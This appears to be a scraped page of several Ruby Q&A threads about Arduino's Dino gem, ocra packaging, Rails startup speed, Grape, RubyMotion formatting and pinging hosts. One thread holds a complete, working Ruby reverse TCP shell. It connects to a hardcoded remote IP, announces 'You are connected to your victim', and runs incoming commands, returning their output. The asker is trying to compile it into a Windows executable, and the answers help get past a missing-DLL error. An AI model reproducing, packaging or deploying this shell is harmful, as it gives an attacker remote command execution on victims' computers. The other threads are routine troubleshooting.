Dino Ruby Gem - program stops responding on board att - ruby

I installed ruby 1.9.3 and the dino gem on windows, bootstrapped it (like the tutorial said, I resetted the arduino when uploading the generated and sketch and got a 'avrdude done. Thank you.' at the end) but got a problem when executing the blink code
# dino_sample.rb
require 'dino'
board = Dino::Board.new(Dino::TxRx.new)
led = Dino::Components::Led.new(pin: 13, board: board)
[:on, :off].cycle do |switch|
led.send(switch)
sleep 0.5
end
but more specifically this line
board = Dino::Board.new(Dino::TxRx.new)
the program stops responding and I can't even quit it with ^C
since it's my first attempt to use dino I have no idea of what went wrong, but I would guess the bootstrap was not done correctly

Related

Ruby compile with ocra error - libssp-0.dll not found

I'm trying to compile a simple reverse TCP shell written in ruby with ocra.
The code is pretty simple:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"
#Tries to connect every 5 seconds
begin
sock = TCPSocket.new "#{RHOST}","#{PORT}"
sock.puts "You are connected to your victim"
rescue
puts "Retrying..."
sleep 5
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets && line
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
I build it with: ocra RevShell.rb --verbose
I get no error messages but whenever I try to run the .exe I get the following error: "C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found"
Am I missing something? Ocra should check the needed requirements by itself adding it to the exe by I still miss this dll.
Thanks for your help.
Maybe you don't have the libssp-0.dll file installed. You can download it from https://www.dll-files.com/libssp-0.dll.html then placing the file where the error says.
Use --dll ruby_builtin_dlls\libssp-0.dll.
See https://github.com/larsch/ocra/issues/168 for more details.
I faced the same problem with Ruby 2.6 and 2.7 (x64) installed by RubyInstaller.
In my case, libssp-0.dll surely exists at the ruby_builtin_dlls directory, but somehow it was not included in the compiled exe while other dlls in the same directory are all included.
For time being, I could evade this problem by using (x86) version of Ruby 2.7.

Rails terminal commands run after 12 seconds why?

I am using ruby since 2 months i did small projects with express.js and django before.
My question is:
$ rails generate migration ...
$ rake db:migrate ...
$ rails console...
Why theese commands run after ~~12 seconds.?
I am using sqlite3. Rails 6.0.0
My rails settings:
=> Booting Puma
=> Rails 6.0.2.2 application starting in development
=> Run `rails server --help` for more startup options
*** SIGUSR2 not implemented, signal based restart unavailable!
*** SIGUSR1 not implemented, signal based restart unavailable!
*** SIGHUP not implemented, signal based logs reopening unavailable!
Puma starting in single mode...
* Version 4.3.3 (ruby 2.6.6-p146), codename: Mysterious Traveller
* Min threads: 5, max threads: 5
* Environment: development
On the other hand ruby, python, node shell, django dev server and express.js server commands running super fast.
Am i doing something wrong?
But i don't understand why making just one migration file command waits ~12 seconds to run?
Example:
This command runs after waiting 12 secs. I am using powershell and windows terminal.
C:\Users\xxxx\Documents\ruby\xxxxxx\xxxxx> rails db:rollback
== 20200421123726 AddPartyIdToElections: reverting ============================
-- remove_column(:elections, :party_id, :int, {:before=>:created_at})
-> 0.0630s
== 20200421123726 AddPartyIdToElections: reverted (0.0713s) ===================
os windows 10
Intel® Core™ i5-6200U CPU # 2.30GHz
8 gb ram
toshiba 250 gb ssd
This slowness reduce my learning curve. I want to solve this.
Ok it seems this stiuation normal on windows machines. I tried linux mint it is faster than windows.
Also there is a gem for fastering commands speed.
http://railscasts.com/episodes/412-fast-rails-commands

Grape stand alone rest api ERROR: No application configured, nothing to run

I have followed this tutorial step by step: https://wildandcrazytutorials.wordpress.com/2016/03/05/how-to-build-a-grape-standalone-rest-api/
However I get the error:
Puma starting in single mode...
Version 3.6.2 (ruby 2.2.2-p95), codename: Sleepy Sunday Serenity
Min threads: 0, max threads: 16
Environment: development
ERROR: No application configured, nothing to run
when I run puma in In ./myapp
I am running it on a MacOs.
I am new to grape and I would love some guidance. I have literally simply followed the tutorial up to "Run the following to startup the server after every change…
In ./myapp
$ puma"
I got my answer from Daniel # https://groups.google.com/forum/#!forum/ruby-grape
There was a syntax error, his code below fixed my problem, I appreciate it.
require 'rubygems'
require 'grape'
Dir.glob("**/*.rb").each do |f|
puts "Loaded #{f}"
require_relative "../#{f}" unless File.absolute_path(f) == __FILE__
end

sprintf broken in RubyMotion

Ruby noob, just got and installed RubyMotion, created my first program and I'm having trouble getting the Time (sample) app to work.
Whenever I try to format a string using either sprint or the other form (sorry don't know the name) I just get my format string back.
i.e. (from the console while my app is running in Simulator)
Build ./build/iPhoneSimulator-5.1-Development
Simulate ./build/iPhoneSimulator-5.1-Development/Timer.app
(main)>> #time = 0.1
=> 0.0999999940395355
(main)>> string = sprintf("%.1f", #time)
=> "%.1f"
(main)>> string
=> "%.1f"
(main)>> "%.1f" % #time
=> "%.1f"
(main)>>
The same result in the actual app in the Simulator.
I do have the default ruby installed on my Mac but if I try running a test ruby file (print "%05d" % 123) I get expected results.
/usr/bin/ruby -v
ruby 1.8.7 (2010-01-10 patchlevel 249) [universal-darwin11.0]
/Library/RubyMotion/bin/ruby -v
MacRuby 0.12 (ruby 1.9.2) [universal-darwin11.0, i386]
Running on Lion 10.7.3, any advice or ideas appreciated.
Thanks.
As of 5/9/12, this has been fixed. Make sure you're on RubyMotion 1.3 (run sudo motion update) and string formatting will work again.
Update 5/8/12: Confirmed bug, should be fixed this evening or tomorrow.
Per my comments above, there is definitely a bug with this. An ugly hack to get this working could be something like this (since %d still works fine for sprintf):
#time = 0.1
sprintf("%d", (#time * 10).round).insert(-2, '.')

ruby ping for 1.9.1

I want to ping a site in my ruby code and saw that net-ping was a nice library to do this with. Unfortunately, when I tried to gem install net-ping I got the following error:
C:>gem install net-ping
ERROR: Error installing net-ping:
win32-open3 requires Ruby version < 1.9.0.
upon further research, I found that net-ping was not available yet for 1.9.X. Does anyone have a good piece of code that pings that they would be willing to share.
If by 'site' you mean website, then I wouldn't use ping. Ping will tell you if the host is up (unless a router or firewall is blocking ICMP), but it won't tell you if your web server or web app is responding properly.
If that's the case, I'd recommend Net::HTTP from the standard library, or any of the other HTTP libraries. One way to do it is:
def up?(site)
Net::HTTP.new(site).head('/').kind_of? Net::HTTPOK
end
up? 'www.google.com' #=> true
You can always do this and use regexps to parse the result or just check the exit status:
ping_count = 10
server = "www.google.com"
result = `ping -q -c #{ping_count} #{server}`
if ($?.exitstatus == 0) do
puts "Device is up!"
end
Ping return values that you can check against:
The ping utility returns an exit status of zero if at least one response was heard from the specified host; a status of two if the transmission was successful but no responses were received; or another value (from <sysexits.h>) if an error occurred.
http://www.manpagez.com/man/8/ping
For windows follow these instructions:
download djberg96-net-ping-net-ping-1.5.3-0-g9252076.zip from github.com/djberg96/net-ping
unzip, cd in the folder
gem build net-ping.gemspec
gem install net-ping-1.5.3-universal-mingw32.gem
gem install win32-security
to use it:
require 'net/ping'
p Net::Ping::TCP.new('www.google.com', 'http').ping?
p Net::Ping::TCP.new('foo.bar.baz').ping?
Use from source
gem "net-ping", :git => 'git://github.com/djberg96/net-ping.git'
# bundle install
Now you can use functions from it in 1.9.2

Resources